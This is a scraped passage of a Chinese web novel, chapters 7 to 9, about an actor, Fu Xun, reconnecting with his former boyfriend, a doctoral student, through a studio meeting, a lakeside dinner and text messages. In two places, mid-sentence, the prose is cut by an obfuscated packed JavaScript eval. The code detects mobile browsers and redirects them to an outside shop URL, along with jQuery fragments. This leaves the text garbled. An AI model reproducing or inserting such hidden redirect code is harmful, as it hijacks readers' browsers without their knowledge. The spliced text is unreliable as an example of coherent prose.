《不要相信热搜上的cp》 7.第7章 旧地重游 傅旬这几天在和工作室开会,今年二月才过年,他在年后有商务活动和时尚活动。经纪人小熙姐听说他们在一起,没让他们去公司,而是从公司过来找了他们一趟。 傅旬留下了乔知方坐到自己身边,有外人在,小熙姐很快就走了。傅旬和执行经纪去送经纪人,乔知方和傅旬工作室的其他两个人在屋子里坐着。 乔知方和傅旬工作室的人不熟,不太愿意随便说话。 傅旬的助理小y怕乔知方尴尬,问他:“乔老师,我没见过您,但我感觉,您是不是和旬哥特别熟?” 工作室的摄影兼剪辑师在旁边捂着脸笑,说:“肯定熟。” 乔知方说:“还行……吧。” 也熟也不熟,五年里都没什么联系。 但傅旬知道乔知方回了文理大学读博。 傅旬的经纪人小熙姐开玩笑说,他们其实也算同路人,毕竟能坐一趟地铁,北电在西土城下地铁,乔知方在海淀黄庄下地铁,也就五六站地的距离。 傅旬顺口接了一句“四站地”。 四站地,傅旬和乔知方在这段距离上来来回回。乔知方本科就是在文理大学读的——他是他爸妈的校友,其实硕士阶段,他也该在文理大学读,但是后来他去了CUHK的文化与宗教研究系。 傅旬以前经常去文理大学找乔知方,北电相当于只有一个艺术系,不像文理大学这样的综合性大学那么大,文理大学有封闭的羽毛球馆,傅旬会跑过来和乔知方一起打羽毛球。 乔知方的同学都是同学,傅旬的同学有一部分是同学,但是也有一部分总想叫他一起抽烟喝酒搞乌烟瘴气的“文艺”,或者阴阳怪气:“可不敢提傅老师,会被人家粉丝骂:爱蹭的小哥哥小姐姐一枚呀~” 北京这么大,海淀区也不算小,但是傅旬就是能和乔知方的活动范围重合。 小y和剪辑都是男生,小y给乔知方面前的纸杯添了水,顺脚踢了剪辑一脚,问:“笑啥呢,笑成这样?” 剪辑说:“没笑什么,就是想起来上次电影路演,我在下面站着拍素材呢,有个男粉问问题,问着问着突然撒娇叫旬哥‘老公~’,吓得旬哥话筒差点掉了,后面说话声音立刻压低了,跟恐同似的。结果刚才乔老师一来,旬哥说话立刻温柔起来了。” 小y坐下来,说:“叫老公怎么了,我看电影我也想叫旬哥老公,老公是一种感觉。” 剪辑说:“y哥,下次带上你女朋友一起叫,最好再举个牌‘旬哥世永1’,我给你们剪视频。” 小y说:“我说实话呢。我之前不理解为什么旬哥有粉丝那么疯,结果我入职之后,有一次他朝我走过来,插着兜,你知道吗,他走路那个劲儿特别像木村拓哉,我觉得好bking一男的,然后他朝我背后的粉丝们抬手笑了一下,那个时候我突然就想拉我女朋友过来一起尖叫,真蛊啊!” 剪辑说:“工作室不招粉丝,你辞职吧,主动点。” 小y说:“滚。” 乔知方扶额笑了笑。 小y和剪辑说了几句话,怕冷落了乔知方,递话问剪辑:“宣子,我记得你和旬哥是校友,是吧?唉,我中传的,被你们排除了。你也和乔老师顺路。” “对,y哥是中传的,乔老师你放心,我们都有本科学历。我北电的,是师兄推荐我来的,内推,”剪辑和乔知方介绍了一下自己,“我是摄影系的。” 乔知方问:“内推,你师兄是……晓枫?” “对、对对!”剪辑没想到乔知方认识傅旬工作室的前成员,“枫哥和旬哥一届,我比他们小三届。” “我说傅旬的视频照片怎么都拍得那么厉害,摄影系很强,有高手在。我记得有一套GQ盛典波普风格的图,感觉很抓眼。” 其实乔知方没有特意看,他是在热搜上遇到的那套图,男星里也就傅旬的出图有一些记忆点。 剪辑说:“我靠,哥你真看啊。那套图是外摄老师拍的,但想法是我们一起出的!那天外摄拍完就开始疯狂抠图p图,p到鼠标冒烟,粉丝一直骂我们不出图,想拿图去铺GQ评论区和广场,但我们这不是想出点有创意的图吗。做一次妆造那么贵,造型师敢借、旬哥敢穿,那我们就得敢拍。嗐,大部分男艺人都穿深色西装,其实挺无聊的,旬哥去时尚盛典都很抓眼。” 乔知方和剪辑简单聊了几句。乔知方一直在学校待着,身上没有社会气,又穿了一身灰色系的衣服,看起来就很像……高级知识分子,厌世感和性冷淡感恰到好处,情绪不太积极,但是很有礼貌。 他是一个不太让人起戒备心的人。 剪辑不提傅旬的工作和私事,但聊着聊着,乔知方知道了他的学习和工作经历。剪辑只知道乔知方姓乔,是中国文理大学的。 乔知方和傅旬都嘴严,傅旬是能打太极,话说了半天,但就是不涉及自己的私事,或者直接胡说——有一次活动主持人问傅旬最近喜欢的电影,傅旬张嘴就说《四个婚礼和一个葬礼》。 傅旬哪看《四个婚礼和一个葬礼》了,看《四个婚礼和一个葬礼》的是乔知方。 主持人问傅旬为什么喜欢。 傅旬说:“因为我朋友说休·格兰特的角色可太好了,不止帅还有趣,我也想让人说:傅旬可太好了,不止帅还有趣。” 主持人被傅旬逗得直笑,开始夸傅旬。 “开个玩笑。”傅旬适时不好意思地对镜头笑了笑,用认真的语气说:“我也希望自己的演技可以进步,带给大家更好的作品。”把话题拉了回去。 傅旬绕了一圈,其实除了乔知方,谁都不知道他到底在看什么电影——傅旬那一阵天天在家拉片研究刘亚仁的表演技巧。 傅旬是适合娱乐圈的人,他很早就明白了,回答得有趣比回答事实更重要。 乔知方和傅旬不一样,乔知方根本不愿意透露很多事情。 剪辑问乔知方认识傅旬多久了,乔知方说:“大学之前就认识了。” 剪辑经常用镜头对着傅旬,所以可以经常观察傅旬,他和乔知方说:“我感觉旬哥平时不这样,其实旬哥挺冷的,我有时候都怕他冷脸。旬哥那会儿看见乔老师,真的挺高兴的,一直在笑,我都不好意思看他了。” 乔知方想了想,说:“啊……那肯定高兴,我欠他钱,来还钱了。” 小y和剪辑没想到乔知方慢条斯理地开了个玩笑,听完直笑。 傅旬和执行经纪刷房卡进了屋子,乔知方觉得傅旬可能不太高兴——虽然傅旬脸上显不出来,依旧挂着微笑。 傅旬说:“这几天辛苦了。小熙姐走了,我请大家吃饭,记工作室的帐。不要超过五千,去不去?” “去!”小y喊了一声,说:“谢谢旬哥,旬哥也辛苦!都谁去?” 除了傅旬,工作室的人都举了手。 执行经纪问傅旬:“旬哥不去?” 傅旬说:“我和乔老师吃。” 乔知方忽然有点慌张,他不想和傅旬单独在酒店待着,他说:“我去行不行?” 傅旬站在他背后,把手搭在了他的肩上,说:“很抱歉,不行。” 剪辑听着傅旬说话,突然又开始笑。 小y问剪辑:“你怎么了?” 剪辑沉浸在了傅旬夹着声音说话的世界里,直接投降说:“我有病。”剪辑经常听傅旬念台词,傅旬本来的声音中气十足,一开口能把他吓一跳。 执行经纪收拾好自己的包,把小y和剪辑带走了,几个人商量着去吃日料。傅旬给工作室开的工资不低,小y背的是LV的黑武士包,剪辑背的奥博维特摄影包。 屋子里只剩下了傅旬和乔知方。屋子好大,这屋子可真屋子啊…… 乔知方只是来要身份证的。 傅旬有事情要处理,依旧站在乔知方的沙发后面,拿着手机回了几条消息,一边回一边问乔知方:“乔老师,你们聊什么了,宣子那么高兴?” 乔知方实话实说:“说傅老师特别帅,特别迷人,帅到路演的时候男粉叫傅老师老公。”其实他也是在调侃傅旬。 “嗯?”傅旬回过神,像是刚才只顾着回消息了,没有听见乔知方的话,他抬头说:“真不好意思,在回经纪人消息,没有听清。” 乔知方只好又说了一遍:“说,傅老师太帅了、帅炸了,路演的时候迷得男粉大喊老公。” 傅旬说:“哦~~” 他一这样说话,乔知方突然有一种不太好的预感。 乔知方说:“正常说话行不行?” 傅旬点了一下手机:“傅老师太帅了、帅炸了,”然后拉了一下手机屏幕,“老公。” “……” 傅旬明明第一遍就听清了。乔知方想给傅旬一铲子,顺便把自己埋了。 傅旬笑着说:“删了删了,真的删了。乔老师特别好,特别帅~” 乔知方说:“停。” 傅旬做了一个给嘴拉拉链的动作,闭上了嘴,坐到了乔知方旁边的沙发上。 “身份证。” “得先吃饭。” “我困了,想睡觉。明天要去国博,需要身份证。饭一定吃,不欠你的。” 傅旬说:“在这睡也行,睡醒了我们去。” 乔知方摇摇头说:“不行。” 傅旬用很无辜的语气问:“为什么呀?你是男的,我也是男的,男男共处一室很正常。” “嗯因为我喜欢自己睡。” “我也自己睡呀。当我的粉丝其实很安心,我可以自己睡觉,也正常交税。屋子很大,卧室里有床,客厅有沙发,我又不骚扰你。” 乔知方没辙了。 傅旬不逗乔知方了,怕逗过头,他拿出来一张卡,说:“给。” 乔知方没看见他到底拿的什么,不太信他,问:“房卡?” “身份证。”傅旬捏在手里让乔知方看了看。 乔知方去拿身份证,傅旬拿在手里不给他,非得让他从自己的手里抠。乔知方特别想问傅旬,他今年到底几岁了。 他说:“不给我我就去挂失补办了。” “给。”傅旬乖乖把证给了乔知方。 乔知方立刻就站了起来,准备走。 “哥,”傅旬在乔知方背后问他,“陪我坐会儿吧,我什么都不做。” 他又说:“一小会儿都不行?” 乔知方听他的声音认真了起来,一下子有点心软,又软又酸。送完经纪人回来,傅旬明显是不太高兴的。 乔知方没有走,转身问傅旬:“抽烟吗?” 傅旬摇了摇头,“没烟瘾。” 乔知方点了点头,坐到了沙发上。傅旬和他爸不说话,他妈妈去世了,他外祖父动了他妈妈留给他的遗产给他舅舅投资用,他舅舅买了大理石矿,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836279|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都没开出来。 傅旬和家里的人关系很僵。 乔知方和傅旬不只有过恋爱关系,傅旬希望乔知方能作为一个认识自己很久的人,在自己情绪不是很积极的时候,静静地陪一陪他。 乔知方问:“小郁走了?”小郁是傅旬以前的执行经纪,能力强做事也很负责,她在的时候,傅旬和她的关系稍微亲近一些。 “嗯,子郁想自己做经纪人。乐乐姐还负责我的商务。” 乔知方点了点头。 傅旬说了说之前的工作室同事的去向。有人受不了连续几个月跟组、每天工作十几个小时,辞职回家去开艺考机构了,有人跳槽了,有人去追梦,有人的梦碎了…… 去做什么的都有,除了乐乐姐,只有傅旬被留下了。傅旬的身边又开始有新同事。 傅旬说自己需要回消息,乔知方在旁边坐着就行,等到五点多天黑了,他们一起去吃饭。乔知方找傅旬借了平板,登陆自己的邮箱,下载了导师发给他的论文稿,开始看批注。 傅旬不说话,乔知方也安安静静的。 屋子里有书桌,但两个人都只在沙发上坐着,一人一张沙发。 乔知方的毕业论文研究的是《圣经》的白话翻译对中国现代文学的影响,在白话文运动初期,白话翻译的外国作品为中国文学提供了一种白话写作的方向。 开题之后,乔知方为了找资料,甚至去了一趟台湾,到台大借书。 在台湾的时候,其实他也想起来了傅旬。傅旬去参加金马奖颁奖典礼的时候,吕春导演给了他一块佳德牌的凤梨酥,他觉得很好吃,特意去买了两盒带给乔知方。 到国外去、到台湾去。在国外学习的时候,乔知方也不停地借书,一本接一本地看。 和傅旬谈恋爱,想着读博——乔知方觉得自己这辈子吃的最大的苦,都是自找的。读博之后,乔知方几乎没有休息过,即使哪天彻底休息了,也总有负罪感。论文压着他,让他觉得所有放纵都是可耻的。 读博的人哪有精神正常的呢?乔知方的师兄说:读博士这4年,是你人生最充实的5年,只要你好好规划这6年的时间,那么在这7年的时间中,你会发现自己进步得非常快,等你毕业的时候,回望这8年,你才会觉得非常有意义。 去年师兄为了全力写论文,给自己剃了光头,发誓在头发长长之前不出去了。 导师建议乔知方调整第二章和第三章的顺序,补充英语白话翻译本圣经和拉丁语白话翻译本圣经的对比,拿出更多的文献资料支撑…… 乔知方的邮箱里存了pdf版文献,他下载了文献,打算开始重新看某几本他看到快吐的书。可是不想看了,怎么办? 在有些瞬间,乔知方也总是很想破罐子破摔,他想说自己不想学习了。 不学了。邮箱里还有几本师姐发给他的外语原著,乔知方随意下载了一本,打开之后,发现这本倒是很好读,这是一本很考词汇量的诗集—— Gemmas,marmor,ebur,Tyrrhena sigilla,tabellas, Argentum,vestis Gaetulo murice tinctas…… 珠宝,大理石,象牙,伊特鲁里亚画像,牌匾, 白银,带着盖图里亚紫的衣服…… 单纯的意象,只要简单放在一起,就能带来美感。师姐在旁边批注了“贺拉斯,连词省略”。 不需要连词。 就像傅旬坐在那里,不需要说他的眼睛和他的鼻子和他的嘴巴和他的脖子……他整个人都在乔知方眼里,鼻子、嘴巴、脖子。 傅旬或许知道乔知方在看自己,但他没有抬头。傅旬装作自己在处理消息、自己很忙。他怕自己一看乔知方,乔知方就又打算跑了。 氛围足够柔和,温情脉脉,也足够安静,安静得可以听到中央空调的出风声。如果傅旬抬眼,一切就会变得不一样,气氛会变得暧昧。 不要变得暧昧。 傅旬像是一个逗号,暂时隔断了乔知方的学术生活,乔知方不想去想那些和学业有关的事情了。他上午起得早,酒店的暖气很足,他有点困了。 困得迷迷糊糊的时候,他突然想起来了《旧地重游》这本书。读研读博,他看书变得很功利,看很多书是为了写论文。 《旧地重游》不涉及任何功利性。 高中乔知方和傅旬两个班的阅览课时间是重合的,傅旬坐在乔知方对面,慢悠悠地翻《旧地重游》,手指白皙修长,像在发光。 那个时候,乔知方不知道傅旬有没有看进去这本书,或者,有没有看明白——毕竟,傅旬每次都只拿这一本看。 后来傅旬说,没看进去,总拿这一本是因为他觉得这本书的书皮颜色,和校服的颜色最搭。 乔知方笑,笑了半天,傅旬说:但我回家之后,看了呀。他说《旧地重游》里有一个故事,叫“拉动天边的引线”。 书里有一个布朗神父,说自己抓小偷,用的是看不见的钩子,还有看不见的线,“这线足够长,可以让他漫步到世界尽头。只要猛拉这根线,就可以把他带回来。”* 《旧地重游》里真的有这个故事,这不是傅旬伪造出来的。乔知方觉得,世界上好像真的存在这样长的一根线。 有人拉动了钩在他身上的这根线。 8.第8章 爱的多重奏 在吃饭的事情上,傅旬没有为难乔知方。傅旬说自己订好了餐厅,他们两个直接打车过去就可以了。 下午五点多,太阳落下去之后,傅旬开始换衣服,换上衣、挑裤子,找合适的项链,整理头发。 乔知方等了他半个多小时。 傅旬让乔知方等着自己,理直气壮,乔知方也没有任何意见。傅旬想出门,快的时候戴上帽子口罩十分钟就能到楼下,慢的时候,一个小时也出不去。 北京的马路上总是有车,从三十多层向外看,车流像一串火彩闪耀的钻石项链。 傅旬换好了衣服,走到乔知方旁边敲了敲空气,问:“乔知方在吗?” 乔知方给他爸爸发了消息,说自己不回去吃晚饭了,下意识抬头说:“在呢。” 在呢。Knock knock,乔知方以前会这样敲敲空气,问看剧本或者没出戏的傅旬:“傅旬在吗?” 傅旬听乔知方回了自己,歪头笑了一下。 真好看啊,傅旬。乔知方晃了晃神。 傅旬本人是个演员,但是也是明星,他身上的星光很强。 如果要粉丝来说,粉丝会说粉傅旬特别有趣。粉其他演员,一年到头吭哧吭哧做数据,回头一看,哥哥喜提豆瓣评分不及格。 粉傅旬就不一样了,傅旬从十七岁就开始接触大荧幕,有奖项也有奖项提名,演阴沉愤怒混乱,像从寺山修司电影里跑出来的梦魇病人,连气质也一并变得浑浊。正常的时候,又像岩井俊二电影里干净的初恋。 一人多面的一个人,每一面都风格迥异,笑的时候感染力很强,冷脸了也让人激动,长相能打又手握票房实绩,能开玩笑能正经,时而当死人时而热情—— 又冷又热又有病,让人根本跑不掉。 傅旬本人听了粉丝的话,只会觉得粉丝滤镜太重,然后带着点无奈说:“请让我做个中国演员。”粉丝总是说的太多。 如果让乔知方说,乔知方会说:傅旬的情绪浮动比较大。 傅旬有艺术追求,但傅旬是一个会把事情都放在心里的人,他不愿意和其他人说自己的想法,其他人当然也就不知道他在想什么了。 性格神秘?不神秘。乔知方觉得傅旬有的时候过得很累。 傅旬安静的时候,比乔知方还吓人。乔知方觉得自己一辈子都不可能看完一部塔可夫斯基的电影,但傅旬能从头看到尾然后再看一遍。 以前傅旬不想和自己较劲了,就会折腾乔知方。乔知方任由他折腾,然后哄哄他,哄一会儿,也就好了。 现在乔知方不和傅旬多说话了。 傅旬叫乔知方一起出门,他收拾好了自己,乔知方闻到他换了香水。傅旬的身上是香的,香水里带着一点并不甜腻的甜味,阴沉沉的,隐藏着欲望,像是某类很贵的西普调香水。很好闻。 两个人一起离开酒店的时候,傅旬说乐乐姐也来。 傅旬好像知道乔知方不想和自己独处,叫了自己和乔知方都认识的乐乐姐,他说乐乐姐有时间,自己也正好请乐乐姐吃一顿饭。 如果傅旬不这样做,乔知方会觉得自己请傅旬吃一次饭,和傅旬的帐就算是算得清清楚楚的了。但是傅旬这样做,他反而觉得,他和傅旬之间,越来越不清不楚。 他能感觉到,傅旬在面对着自己的时候,小心翼翼的。 他心里有点不是滋味。 你过得好不好?其实你不用看我的脸色。 傅旬订了什刹海后海西沿的私人餐厅,让司机把他们送到德胜门内大街上。在车上,傅旬说乔知方穿得薄,问乔知方冷不冷,乔知方说车上开了空调,又刚出门,不冷。 傅旬说:“哥,戴上手套吧。”和乔知方下了车。 两个人进了胡同,往后海走。 什刹海的景点已经关闭了,晚上天冷,风呼呼地吹,行人不多。水面结冰,水边没有了夜钓的老大爷。 傅旬问乔知方:“哥,这几年,你怎么不谈恋爱?” 乔知方问他:“你怎么知道我没谈。” 傅旬说:“乐乐姐和我说的。” 乔知方说:“不信,乐乐姐和你说这个干什么。” “因为我问了呀。”傅旬看着乔知方,他戴着黑色的口罩,只露着一双眼睛,“我问乐乐姐最近有没有见过你,乐乐姐说去年她去旧金山,和你见过面。我就问乐乐姐:知方哥是不是还没对象呢。乐乐姐说:哈哈。” 乔知方去年真的和乐乐姐在旧金山见过一面。他感觉傅旬是在套路自己,因为他不好去问乐乐姐这件事,想了一会儿,他觉得还是说实话比较好,说:“智者不入爱河,寡王一路硕博。” 傅旬听他开始开玩笑,眼睛弯了弯,问:“今年夏天,你是不是就毕业了。” “嗯。”乔知方点了一下头。 “那就会谈恋爱了?” “关你什么事啊。” “我就问问嘛,你的学业很重要。” 什刹海的水边上种了一圈柳树,叶子掉光了,柳枝光秃秃地在风里摆着,碰在一起,哗啦啦乱响。 乔知方的学业很重要。乔知方和傅旬分手的时候,对傅旬说:他觉得他的人生里不能只有恋爱这一件事,傅旬也是。如果一段感情,带来的痛苦比幸福更多,那就应该分开。 傅旬那次听完了,说:“乔知方,你就是……觉得和我在一起太累了,对吧。说得好像是为我好似的,其实是你想逃跑了。你这个人,好自私啊。” 乔知方说:“对……”他点了点头,说:“对。” 傅旬憋着情绪,但是像是一拳打到了棉花上,傅旬说什么乔知方都不接招,甚至不和傅旬吵架。傅旬拿他没办法了。 乔知方和傅旬,把一段感情变成了过去式。 还差最后几步,就能结束二十多年的学生生涯,乔知方不觉得自己选错了。他觉得一个人的人生里,如果只剩下了爱情,那是很可悲也很可怕的事情。 爱和爱情不相等。 就像巴迪欧说的,我们可以爱上垃圾、爱上这个将要完蛋的世界,爱它们到尽头,一直挺下来,熬出头,带着勇气忍受,在不可能中实践可能,站到命运的另一边去,直到让我们自己都惊奇为止*—— 这是爱的政治学。 可爱情只是爱里很小、很小的一部分。它太微小了,微小到要去爱一个具体的人。而爱具体的人,总是会比爱一种抽象的概念更难。 概念拥有确定性,活生生的爱人充满了偶然性。 傅旬问了乔知方的学业,乔知方问傅旬:“你这几年,是不是也挺忙的?” “忙,是挺忙的。有的工作我不想接,但是公司安排了,就得干。话剧排练、演出,进组,路演,采访,时尚活动,还有商务活动,什么都有,其实挺累的。乔知方,去年我也去美国了,拍广告,在蒙特雷取景。你知道乐乐姐在美国,你们两个见到了,你知道我也在吗……唉,算了,你知道你也不会说什么。可能今年年后,我能歇一阵,我的工作不太多了。” 乔知方是去年夏天去的美国,他去了普林斯顿大学东亚系学习,Princeton,王子屯。就算傅旬在美国,甚至就算他也在乐乐姐来过的旧金山,和乔知方有什么关系呢。乔知方回避了这个话题,用问朋友的口吻问傅旬:“不忙,但压力不小吧?不和公司续约了。” “可能和你差不多,感觉你要到毕业季了,也是这样的。熬过去就好了。” “加油。”乔知方说完这两个字,莫名觉得很讽刺,这句话说的像是他们两个人根本不熟似的。 “一起加油。”傅旬有来有往回了乔知方一句,和乔知方走到了餐厅外面。 餐厅主营改良江浙菜,两个人进包间没多久,乐乐姐就来了,来了先抱了抱乔知方,说好久没看见他了,然后送了他几张保利剧院的话剧票当礼物。 乔知方早上起得早,一天没有补觉,点酒水的时候,傅旬没有点度数高的酒,只点了一瓶冰酒。 乐乐姐点了菜,傅旬加了几道,问乔知方要不要加什么,乔知方没有加。傅旬点的菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844899|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乔知方一般都不会觉得难吃,他们两个在吃饭这件事上,是能吃到一起的。 乔知方吃饭吃的清淡,不爱吃生的。傅旬平时不吃太油太辣的东西,对海鲜过敏,一碰某些海产品身上就起成片的红疹——两个人都不怎么吃日料,也不经常吃川渝火锅。 乔知方和乐乐姐很熟悉,在认识傅旬之前,他就认识乐乐姐了。乔知方小时候,每年到了寒暑假,他爸妈不想带他了,就会把他送给他姨妈玩几天。不是自己生的小孩,随时可以送回去,总是显得特别好玩,乔知方的姨妈很喜欢带着小乔知方出去度假,有时候乐乐姐也会一起来。 有乐乐姐在,包间里的氛围很好。 上菜之后,傅旬把手机递给乐乐姐,让乐乐姐帮自己和乔知方拍一张合照。乐乐姐坐在他们两个对面,接了手机,让乔知方往傅旬身边靠靠,乔知方坐过去,傅旬一把揽住了他,用另一只手抓起他的手来,朝镜头比耶。 乔知方被傅旬抓着抬起了手,调整出笑的表情来,有点无奈,瞥了傅旬一眼。 傅旬离他太近了,他能闻见傅旬身上的香水味—— 能不近吗,傅旬几乎把他圈在怀里了。 乐乐姐拍完了乔知方和傅旬,说:“两个帅哥,怎么拍都好看。小旬别私藏,记得发我。”然后让傅旬给自己和乔知方拍一张合照。傅旬放开了乔知方。 乐乐姐很会活跃气氛,傅旬和乔知方谁也不尴尬。乐乐姐聊起来自己家小孩上学的事情,问乔知方的学业和他妈妈、他姨妈最近好不好,和傅旬一起聊圈内八卦,三个人一会儿就把酒喝完了。 傅旬又加了一瓶冰酒,点了餐后甜点。 一顿饭快吃完的时候,乔知方想去买单,傅旬说自己结过了,乔知方和乐乐姐都是客人,不能让客人结呀。 乐乐姐说:“小智回来了,下次我请你们两个,咱们再一起吃饭。下次我买单,看看小智想吃什么。” 乔知方说:“不用不用,谢谢乐乐姐,下次我请。” 傅旬接话说:“行,有下次就行。”他朝乐乐姐吐槽乔知方:“乐乐姐,我叫知方,他都不出来,他这个人特别难叫。我问他为什么不出来,他说:智者不入爱河,寡王一路硕博,为了毕业,我恋爱都不谈了,还吃什么饭啊。” 傅旬说话的时候,学了乔知方的语气,乐乐姐被傅旬逗得笑了起来。 傅旬笑着问乔知方:“是吧,知方?” 乔知方一喝酒就上脸,脸烫得要命,他笑着捂住自己的脸,辩解:“不是、不是。” “不是什么啊,”傅旬从乔知方背后捏了捏他的后颈,问他:“你敢说你没说过?” “我……”乔知方还真说过,他笑着咬了咬牙,不扶额了,举手投降。行,在这儿等他呢,傅旬。 傅旬拿捏住了乔知方,乐乐姐在一旁看热闹,笑得很开心。 一顿饭吃到最后,乐乐姐的司机到了,来接她回去。乔知方和傅旬一起送走了乐乐姐,然后又回到了包间里。傅旬把围巾递给乔知方,问他:“回家?” 乔知方说:“回,你回酒店?咱们两个不顺路了,我自己走就行,你路上慢点。” 傅旬说:“不啊,我也回家,我家养猫了,我回去铲屎。” 乔知方问:“你住朝阳区吧?挺远的,早点走。” “我住海淀区呀。”傅旬挑了一下眉,说:“其实咱俩住一个小区。” “骗人。” “骗你干嘛?有神经病跑到我家门口安摄像头,还想偷我的鞋,我搬家了。你们小区安保特别好,我就换到你们小区租了房,租的200平的户型,就是你家后面的后面那栋楼。我家里有猫,救助的小流浪猫,你要不要去看看?” 乔知方表情复杂地看着傅旬,像是在看骗子,他问他:“你家猫会后空翻吗?” 傅旬想起来过去的事情,捂脸笑了一下,“不会,”他拍了拍乔知方的胳膊,强调说:“但真的有猫!”他第一次骗乔知方来自己家,就是开玩笑和乔知方说的他家猫会后空翻。 9.第9章 吻 乔知方的爸妈去了三亚度假,乔知方从国外回来之后,不想出远门,当司机送爸妈去了机场,又把车开回了家,没跟着一起去。回家之后,他收拾了行李,和几个同学跑到崇礼滑雪去了。 滑雪超级解压—— 寒风吹得脑袋无比清醒,滑起来之后,风声呼啸而过,板刃刻着雪高速往前冲,整个人处在几乎失重的状态里,聚精会神地飞,又危险又爽又刺激。 这是自由的感觉。 乔知方平时滑单板比较多,滑双板的同学说他帮乔知方录像。 录着录着,同学发现乔知方消失了,赶紧叫他的名字。乔知方从雪里伸出一只手来,表示自己还活着。 往下滑的时候,因为滑双板的同学突然冲到自己前面去了,乔知方的视线没有跟住板头,后刃换前刃的时候卡住了,一卡前刃一下子就摔了下去。 拍x光片,发现摔断了两根肋骨。 滑雪的尽头是骨科,其实肋骨骨折算是滑雪事故里比较轻的骨折,但是几个同学还是派出滑双板给乔知方录像的同学,连夜坐高铁把乔知方送回了家。 同学和乔知方说,小智啊你就老老实实改论文吧,你的雪我们会替你滑的。乔知方苦笑着说谢谢啊。 谢谢你们催我写论文。 乔知方的呼吸痛和活动痛不太严重,他觉得肋骨骨折不是什么大事,没有和爸妈说。春节之前,家里就剩下了他一个人。 他在家看了两天电影。 今年的春节档,傅旬没有电影要上。春节档的电影,以亿起跳,直观的数据比滑雪更刺激。 没有电影,傅旬过年的时候会不会压力不那么大呢? 乔知方拉上窗帘,找出来杨德昌的电影,打算慢慢看。傅旬最喜欢的导演,其实是杨德昌。看《牯岭街少年杀人事件》的时候,乔知方在看小明,傅旬在关注四儿—— 如果没遇见傅旬,乔知方应该不会有男朋友。 傅旬现在就住在乔知方家后面的后面那栋楼里,傅旬问乔知方要不要来自己家看猫,乔知方觉得自己是失心疯了才会去他家。 虽然都说前任男女朋友不算朋友,但乔知方不会说傅旬的什么坏话。他觉得傅旬是个很难得的演员,肯用心,也愿意沉淀。 傅旬保持着演话剧的习惯,他说和拍电影不一样,话剧是按照时间顺序演下来的,不必先演后面再拍前面,可以给演员更连贯的情感体验。 傅旬是喜欢表演的,从心底喜欢表演、喜欢电影。 电影往下播着,傅旬突然发消息问乔知方能不能请自己吃饭。今年春节是属于傅旬自己的春节,他不需要出现在电视直播里、不需要准备跑春节档的路演,没有任何商业活动。 乔知方回复说自己没在北京。 傅旬说:哦,你家没关灯。 乔知方回复说:没关系,电费是我爸妈出。 fx.:给你看看猫。 小智:不看。 fx.:aqygehjbh980234.mp4 fx.:强制你看 乔知方不回消息了。 fx.:乔知方 fx.:乔知方 fx.:乔知方 fx.:乔知方 fx.:乔知方 fx.:乔知方 fx.:乔知方!!! fx.:回消息 太久没看见一串“乔知方”了,在乔知方眼里,傅旬的感叹号约等于撒娇,不具备威慑力。他回了一个句号,然后点开了傅旬发过来的视频。镜头对着一只小狸花猫,傅旬本人没出现,但是“咪”了半天,拿逗猫棒逗着猫,让小猫看了看镜头。 小智:。 fx.:你真无聊 小智:那你还发。 fx.:在干嘛? 小智:打车回北京关灯 fx.:明天该吃年夜饭了,别回北京了 小智:好的。 fx.:乔知方!!! 小智:[嗯嗯].gif fx.:年夜饭吃什么? 小智:饭 fx.:你是想回我消息,还是不想回? fx.:[可怜小狗].gif 电影自顾自地往后播着,乔知方觉得自己家空旷又安静。傅旬租的房子,比他家还大。不过傅旬家里有小猫,会相对热闹一点。 小智:在看你发的视频,小猫很可爱,是妹妹还是弟弟?【引用“fx.:在干嘛?”】 fx.:妹妹,四个月了 fx.:哥,你是不是不高兴 小智:没有 fx.:我不高兴 fx.:接电话 乔知方刚看见“接电话”三个字,傅旬的电话就打过来了。乔知方想了想,把电话摁了,顺便把手机关机了。 电视里小明说:“你原来跟那些人都一样。” 乔知方忽然觉得很累。一个人被困在客厅里,累到想把论文全部撕掉、撕碎,想把所有的书都扔出去。世界是很大的,但是人有时候会觉得,自己被困住了,被困在原地,哪里也去不了。 他不知道该怎么回复傅旬,那就不回复了。 他感觉自己在过自己想要的人生,但是这似乎又不是他想要的,一切都索然无味。 肋骨隐隐作痛,乔知方希望傅旬住得离自己远一些。他在回避很多事情。 按照他对傅旬的了解,他不回复消息,次数多了,傅旬应该也就不找他了。傅旬是个心气很高的宝宝,嗯……宝宝。 医生不让乔知方喝酒,乔知方去冰箱里拿了一听无糖可乐,打算关了电视去看书。他很悲惨地劝自己:难过的时候不要停在情绪里,只要学不死,就往死里学。 学,只有学习不会辜负自己。他今年夏天一定要拿到学历学位证。 在高校里待得久了,乔知方觉得,学术圈也无非是一个圈:你是哪个师门的、我是哪个师门的,我导师是大导能带我发论文,你导师是小导你自求多福,她导师是小导但全力托举,他导师是学科带头人但是要占学生一作、学生全都延毕…… 乔知方的导师和他说,知方,去参加学术会议的时候,不要把你的观点全部说出来,没准会有老师抄袭你的,那个老师资历深又认识编辑,发刊比你快,到时候你有idea但是你发出来晚了,就变成了你剽窃。 乔知方的导师很好,但是毕业的苦,让乔知方很崩溃。 大几十万字的论文,写起来很费头发。 